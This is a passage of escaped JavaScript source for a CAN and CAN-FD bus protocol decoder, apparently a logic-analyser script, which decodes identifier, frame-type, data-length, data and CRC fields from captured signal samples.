Length\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EDL\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[34] - (0.5 * spb) + m, bit_pos[34] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"r0\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[35] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Bit Rate Switch\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BRS\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[36] - (0.5 * spb_hs) + m_hs, bit_pos[36] + (0.5 * spb_hs) - m_hs);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Error State Indicator)\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ESI\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"IDE = 1\\\", \\\"EXTENDED FRAME FORMAT\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 37; c < 41; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tswitch (val)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcase 0x9 : data_size = 12; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xA : data_size = 16; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xB : data_size = 20; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xC : data_size = 24; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xD : data_size = 32; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xE : data_size = 48; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xF : data_size = 64; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tdefault : break;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[37] - (0.5 * spb) + m, bit_pos[40] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[37] - (0.5 * spb_hs) + m_hs, bit_pos[40] + (0.5 * spb_hs) - m_hs); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(t.sample, t.sample + spb - m, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t// Check if we are in normal or extended ID mode\\n\\t\\t\\t\\t\\tif (ide_mode == false)\\t \\t// Normal frame\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\t\\t\\t\\t// Calculate the value of the ID\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \\t\\t// Add the ID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ID\\\", int_to_str_hex(val), dark_colors.green, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \\t// Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m); \\t// Add the IDE bit\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME FORMAT\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"B\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"IDE = 0\\\",\\\"BASE FRAME FORMAT\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 15; c < 19; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[15] - (0.5 * spb) + m, bit_pos[18] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 14; c < 32; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \\t// Add the EID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EXTENDED IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = val;\\n\\n\\t\\t\\t\\t\\t\\t\\tfor (var i = 0; i < 4; i++)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tvar tmp_byte = (tmp_val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_byte);\\n\\t\\t\\t\\t\\t\\t\\t\\ttmp_val = (tmp_val - tmp_byte) / 256;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EID\\\", int_to_str_hex(val), dark_colors.violet, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"IDE = 1\\\", \\\"EXTENDED FRAME FORMAT\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 35; c < 39; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[38] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(t.sample, t.sample + spb - m, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (rtr_mode == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tstate = GET_DATA;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\t// Skip the data in case of RTR frame\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tstate = GET_CRC;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_DATA:\\n\\t\\t\\t\\tdb = 0;\\n\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \\t// use High speed since now\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\twhile (db < (data_size * 8)) \\t// Read data bits\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\n\\t\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t\\t// Regular bitif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_go_after(ch,bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tb -= (data_size * 8);\\t// Now interpret those bits as bytes\\n\\t\\t\\t\\tpkt_data = \\\"\\\";\\n\\n\\t\\t\\t\\tfor (i = 0; i < data_size; i++)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < 8; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + (i * 8) + c];\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb) + m, bit_pos[b + (i * 8) + 7] + (0.5 * spb) - m); \\t// Add the ID item\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb_hs) + m_hs, bit_pos[b + (i * 8) + 7] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA: \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D: \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D \\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\n\\t\\t\\t\\t\\tpkt_data += int_to_str_hex(val) + \\\" \\\";\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tpkt_add_item(bit_pos[b] - (0.5 * spb), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb), \\\"DATA\\\", pkt_data, dark_colors.gray, channel_color);\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tpkt_add_item(bit_pos[b] - (0.5 * spb_hs), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb_hs), \\\"DATA\\\", pkt_data, dark_colors.gray, channel_color);\\n\\n\\t\\t\\t\\tb += (data_size * 8);\\n\\t\\t\\t\\tstate = GET_CRC;\\n\\n\\t\\t\\t\\t// TO DO:\\n\\t\\t\\t\\t// correct all start and end samples\\n\\t\\t\\t\\t// add packet for CRC, and error frames\\n\\t\\t\\t\\t// add the packet stop\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_CRC:\\n\\t\\t\\t\\tvar nbr_stf_b = 0;\\n\\t\\t\\t\\tdb = 0;\\n\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \\t// use High speed since now\\n\\n\\t\\t\\t\\t\\twhile (db-nbr_stf_b < crc_len) //read crc bits\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif (db % 5 ==0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_CROSS);\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t\\tnbr_stf_b++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t // Regular bit\\n\\t\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\n\\t\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tval = 0;\\n\\t\\t\\t\\t\\tb -= crc_len;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < crc_len; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + c];\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tcrc_rg = 0;\\t\\t// Now calculate our own crc to compare\\n\\n\\n\\t\\t\\t\\t\\tfor (c = 1; c < b; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tcrc_nxt = bits[c] ^ ((crc_rg >> (crc_len)) & 0x1);\\n\\t\\t\\t\\t\\t\\tcrc_rg = crc_rg << 1;\\n\\n\\t\\t\\t\\t\\t\\tif (crc_nxt == 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif (crc_len==17)\\n\\t\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x3685B;\\n\\t\\t\\t\\t\\t\\t\\telse if (crc_len==21)\\n\\t\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x302898;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif (crc_len==17)\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg &= 0x1ffff;\\n\\t\\t\\t\\t\\t\\telse if (crc_len==21)\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg &= 0x1fffff\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + crc_len-1] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC : \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC\\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (val == crc_rg)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1 ,\\\"CRC\\\", int_to_str_hex(val) + \\\" OK\\\", dark_colors.yellow, channel_color);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG, Should be: \\\" + int_to_str_hex(crc_rg));\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG!\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"E!\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"CRC\\\", int_to_str_hex(val) + \\\"(WRONG)\\\", dark_colors.red, channel_color);\\n\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"CRC ERROR\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (captured)\\\",int_to_str_hex(val), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (calculated)\\\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"!\\\");\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tb += crc_len-1;\\n\\t\\t\\t\\t\\tbit_pos[b] += spb;\\n\\t\\t\\t\\t\\tstate = GET_ACK;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\twhile 